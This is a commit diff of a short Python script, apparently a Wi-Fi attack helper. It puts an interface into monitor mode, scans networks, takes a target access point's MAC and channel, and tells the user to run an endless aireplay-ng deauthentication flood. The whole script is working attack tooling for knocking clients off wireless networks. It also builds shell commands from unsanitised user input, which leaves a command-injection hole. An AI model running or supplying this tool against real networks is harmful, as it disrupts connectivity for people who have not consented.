1
+ import subprocess
2
+ import optparse
3
+ import time
4
+ def arguments ():
5
+ parse = optparse .OptionParser ()
6
+ parse .add_option ("-i" ,"--iface" ,dest = "interface" ,help = "interface such as wlan0 or wlan0mon to perform the task" )
7
+ options ,arguments = parse .parse_args ()
8
+ if not options .interface :
9
+ parse .error ("enter interface -i or --iface" )
10
+ else :
11
+ return options .interface
12
+
13
+ def disable_wifi (_interface_ ):
14
+ print ("[+] " + _interface_ + " is going to monitor mode.......!!!! " )
15
+ subprocess .call ("airmon-ng start " + _interface_ ,shell = True )
16
+ subprocess .call ("ifconfig " ,shell = True )
17
+ time .sleep (2 )
18
+ print ("[+] Enter new interface or enter the same if not modified" )
19
+ new_interface = input ("enter_new_interface: " )
20
+ try :
21
+ print ("[+] press Ctrl+c to stop the process.......!!!" )
22
+ time .sleep (1 )
23
+ subprocess .call ("airodump-ng " + new_interface ,shell = True )
24
+ except KeyboardInterrupt :
25
+ print ("[+] Keyboard interrupt found Ctrl+c ......... now enter the following: " )
26
+ target_mac_wifi = input ("enter the mac address of target wifi: " )
27
+ target_wifi_channel = input ("enter target wifi channel: " )
28
+ print ("[+] Target Wifi Details.......!!!" )
29
+ try :
30
+ print ("press Ctrl+C to stop the process..........." )
31
+ print ("JUST RUN IT ON OTHER SHELL aireplay-ng -0 0 -a " + target_mac_wifi + " " + new_interface )
32
+
33
+ print ("Donot stop this process when you running upper command on other shell" )
34
+ time .sleep (1 )
35
+ subprocess .call ("airodump-ng --bssid " + target_mac_wifi + " --channel " + target_wifi_channel + " " + new_interface ,shell = True )
36
+ except KeyboardInterrupt :
37
+ print ("[+] Detected Keyboard interrupt.....!!" )
38
+
39
+
40
+
41
+ def main ():
42
+ interface = arguments ()
43
+ disable_wifi (interface )
44
+
45
+ main ()
0 commit comments